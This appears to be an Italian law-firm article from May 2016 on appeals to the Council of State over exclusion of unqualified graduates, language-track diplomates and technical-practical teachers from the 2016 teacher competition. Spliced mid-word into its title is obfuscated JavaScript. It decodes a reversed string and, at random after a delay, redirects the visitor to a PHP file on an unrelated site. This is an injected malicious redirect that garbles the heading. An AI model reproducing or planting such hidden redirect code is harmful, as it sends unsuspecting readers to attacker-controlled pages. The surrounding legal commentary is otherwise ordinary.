Galleano | Concorso personale docente di cui al b$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ando di concorso ministeriale 106 del 26.02.16
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Concorso personale docente di cui al bando di concorso ministeriale 106 del 26.02.16

Concorso personale docente di cui al bando di concorso ministeriale 106 del 26.02.16

necessità dell’abilitazione all’insegnamento – laureati e diplomati magistrali ad indirizzo linguistico

 

esclusione – Consiglio di Stato – illegittimità

   

 

   
   Come è noto, il D.M. 106 del 26 febbraio 2016 ha dato il via alla fase concorsuale prevista dalla legge 107/2015, cd. “buona scuola”, che segue la fase di stabilizzazione operata nei mesi scorsi, tra mille polemiche.

 La legge 107 all’art. 1 comma 110, però, limita la partecipazione al concorso unicamente a coloro i quali sono in possesso del relativo titolo di abilitazione all’insegnamento, abilitazione che poteva essere ottenuta a suo tempo con la partecipazione ai corsi SSIS prima e TFA e PAS, poi.

 Non tutti, però hanno potuto partecipare a questi corsi, come per esempio coloro i quali si sono laureati in tempi recenti. Inoltre vi sono alcune categorie che non avevano la necessità di acquisire l’abilitazione, tra queste i docenti già di ruolo, i diplomati magistrali già abilitati ed, infine, i semplici laureati che già insegnavano da anni come precari ed il cui titolo di studio era considerato valido per l’accesso all’esercizio della professione di docente[1].

  Peraltro, l’art. 402 del decreto legislativo 16 aprile 1994 n. 297, nel disporre l’obbligo della abilitazione per l’accesso ai concorsi, prevedeva una sorta di clausola di salvaguardia per i docenti che avevano intrapreso un percorso di insegnamento, prevendo la loro partecipazione al primo concorso[2].

 Viceversa, mal interpretando la ratio del comma 110 della legge sulla “buona scuola”, il bando ministeriale escludeva tutti questi soggetti dalla partecipazione al cd. “concorsone”.

Di qui una serie di ricorsi, ad iniziativa del sindacato Anief, che investivano il TAR Lazio delle singole tipologie di esclusione e che vedevano il giudice amministrativo sollevare una questione di illegittimità costituzionale con       ordinanza 1685 del 2016 per quanto attiene l’esclusione dei docenti di ruolo.

  Gli altri ricorsi, invece, che riguardavano i laureati, i diplomati magistrali ad indirizzo linguistico e gli insegnati tecnico pratici venivano rigettati, con ordinanza o con sentenza. Tali provvedimenti del TAR venivano impugnati da questo studio, unitamente all’avv. Vincenzo De Michele, avanti al Consiglio di Stato al quale veniva richiesto un provvedimento cautelare per consentire l’accesso alle prove concorsuali che si sarebbero svolte nei giorni successivi.

 A seguito dell’udienza tenutasi il 28 aprile, venivano trattate le questioni relative ai       laureati e ai       diplomati magistrali ad indirizzo linguistico, che portavano ad ordinanze di ammissione che consentivano provvisoriamente loro la partecipazione al concorso (v. ordinanza 1600 del 2016 per i laureati e 1598 del 2016 per i diplomati).

Con riferimento, però all’ordinanza dei laureati, il Ministero, tramite l’Avvocatura dello Stato, invocava un provvedimento monocratico di revoca del provvedimento al Presidente della sesta sezione, adducendo la mancanza dei presupposti di legge e le conseguenze organizzative che sarebbero conseguite all’ammissione dei soggetti semplici laureati.

A seguito di una convocazione in Camera di consiglio, in data 4 maggio, previa rinuncia ai termini di difesa, la questione veniva rinviata all’udienza del giorno successivo nel quale veniva discussa la causa. Con       ordinanza motivata dello stesso 5 maggio, la n. 1732 del 2016, il Consiglio di Stato rigettava la richiesta del Ministero, confermando la precedente decisione del 29 aprile 2016.

 Ed infine, con ordinanza n. 1836/16 pubblicata il 18 maggio 2016, il Consiglio di Stato in riforma dell’ordinanza del Tar ed in accoglimento dell’appello presentato da questo studio, unitamente all’avv. Vincenzo De Michele, ammetteva un insegnate tecnico pratico al concorso con riserva.

 Come si vede, l’intento, poco comprensibile, del Ministero di escludere dalle procedure docenti che da anni svolgono la loro attività e che non sono stati stabilizzati con le procedure avviate nei mesi scorsi è stato censurato dal Consiglio di Stato (o rimesso al Corte costituzionale da TAR), al quale è anche stato fatto presente che tale comportamento della amministrazione si concretizzava in un palese tentativo di sottrarsi alla pronuncia       Mascolo della Corte europea del 26.11.2014, tagliando fuori dalla possibilità di stabilizzazione personale insegnante che in realtà dovrebbe addirittura essere stabilizzato direttamente, avendo superato i 36 mesi di servizio.

 Non è un caso, del resto, che anche le pressioni indebite e al limite della correttezza istituzionale operate dal Ministero attraverso la richiesta di revoca di ordinanze emesse in regolare contradditorio tra le parti in un’udienza tenutasi in Camera di consiglio dove sia il Ministero che i docenti avevano avuto la possibilità di esporre ampiamente e liberamente le loro ragioni sono state, con molta eleganza ma anche con determinazione, rispedite al mittente.

 

 Roma 16 maggio 2016

 


  [1] Nello specifico, sono esclusi dalla partecipazione al concorso: i docenti con 36 mesi di servizio, non in possesso dell’abilitazione; laureati privi di un titolo di abilitazione; docenti di ruolo;  coloro i quali, pur avendo conseguito l’abilitazione in uno dei paesi europei, non hanno avuto riconosciuto dal Miur l’equipollenza del titolo; gli Abilitandi (insegnanti per il sostegno, di canto, di strumenti musicali); gli iscritti alla terza fascia della graduatoria d’istituto; coloro che sono in possesso di diploma di maturità magistrale indirizzo linguistico; laureati che stanno svolgendo o che sono già in possesso del titolo di dottore di ricerca

  [2] In realtà, l’art. 402 del d.lgs. 297/94 aveva stabilito che l’abilitazione all’insegnamento rappresentasse il titolo di accesso per il concorso a cattedre d’insegnamento nelle scuole di ogni ordine e grado e con il successivo decreto interministeriale 24 novembre 1998, n. 460, è stato disciplinato il regime transitorio volto a consentire la partecipazione al primo concorso bandito successivamente all’entrata in vigore del nuovo sistema ai soggetti in possesso del solo titolo di laurea (artt. 1 e 2 del D.M. 460/1998 cit.)